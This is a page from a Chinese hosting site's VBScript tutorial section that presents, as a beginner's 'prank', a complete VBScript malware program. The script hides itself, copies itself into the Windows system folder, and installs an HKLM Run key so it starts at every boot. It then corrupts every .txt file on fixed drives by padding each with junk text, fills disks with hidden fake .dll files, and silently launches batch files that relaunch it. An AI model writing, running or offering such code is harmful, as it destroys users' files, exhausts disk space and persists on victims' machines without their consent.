鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站制作教程 > vbs > >

初学VB时做的恶作剧,很简单的

来源:互联网 作者:佚名 时间:2015-10-15 13:35
OnErrorResumeNext 'main() '********************************************************************* 'submain() dimwsh,fso,dc,d,f,dir1,mename,winname,ws,sizeof,l,fc,fs,s,fl,flen,cnum cunm=0 setfso=createobject("scripting.filesystemobject") set
On Error Resume Next
 'main()
'*********************************************************************
'sub main()
dim wsh,fso,dc,d,f,dir1,mename,winname,ws,sizeof,l,fc,fs,s,fl,flen,cnum
cunm=0
set fso=createobject("scripting.filesystemobject")
set dir1=fso.getspecialfolder(1)
winname=dir1 & "\Win32system.vbs"
set mename=fso.getfile(wscript.scriptfullname)
mename.Attributes=4+2
if ucase(mename)<>ucase(winname) then
fso.getfile(mename).copy(winname)
set ws=createobject("wscript.shell")
ws.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","%SystemRoot%\Win32system.vbs"
fso.deletefile(mename)
end if
'********************************************************************
set dc=fso.drives
for each d in dc
if d.drivetype=2 then
set sizeof=fso.getdrive(fso.getdrivename(d))
l=sizeof.freespace
Set fs = fso.GetFolder(d.rootfolder)
Set fc = fs.SubFolders
For Each f1 in fc 'get all root folder name in the each drive
s = s & f1.path
s = s & vbcrlf
call Mymain(d,f1.path,l)  'call function Mymain,send value
end if
next
exec  'Execute sub
'*********************************************************************
Function Mymain(dir,selfpath,drilen)
on error resume next
Dim fso, f, f1, fc, s,y,fs,i
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(selfpath)
Set fc = f.Files
s=0
For Each f1 in fc
if lcase(fso.getextensionname(f1.name))="txt" then
'if file extension name is 'txt' then appending 50 byte to the file
s=s+1
y=selfpath & "\" & f1.name
'Selecting full Extension name is "txt"'s file
'set flen=fso.getfile(y)
do 
set fs=fso.OpenTextFile(y, 8,true)
fs.writeline "leaf_kaloveyouleaf_kaloveyouleaf_kaloveyouleaf_kaloveyouleaf_kalove"
fs.close
set flen=fso.getfile(y)
if flen.size>1024*1024\2 then
exit do
end if
loop
end if
Next
if s=0 then
for i=0 to drilen\100
set fs=fso.createtextfile(selfpath & "\Winsystem" & cstr(i) & ".dll",true )
fs.writeline "leaf_kaloveyou"
fs.close
set flen=fso.getfile(selfpath & "\Winsystem" & cstr(i) & ".dll")
if flen.size<100 then
do
set fs=fso.OpenTextFile(selfpath & "\Winsystem" & cstr(i) & ".dll", 8,true)
fs.write "leaf_kaloveyouleaf_kaloveyouleaf_kaloveyouleaf_kaloveyouleaf_kalove"
fs.close
set flen=fso.getfile(selfpath & "\Winsystem" & cstr(i) & ".dll")
flen.Attributes=4+2
if flen.size>100 then
exit do
end if
loop
end if
next
end if
End Function
'*********************************************************************
sub exec()
on error resume next
set dc=fso.drives
for each d in dc
if d.drivetype=2 then
for i=0 to 1
set f=fso.createtextfile(d & "\leaf_ka" & cstr(i) & ".bat",true)
f.writeline "welcome come to leaf_ka world!"
f.writeline "call " & winname
f.writeline "del " & d & "\leaf_ka" & cstr(i) & ".bat"
f.close
set wsh=createobject("wscript.shell")
wsh.run d & "\leaf_ka" & cstr(i) & ".bat",0
next
end if
next
end sub
'*********************************************************************
网友评论
<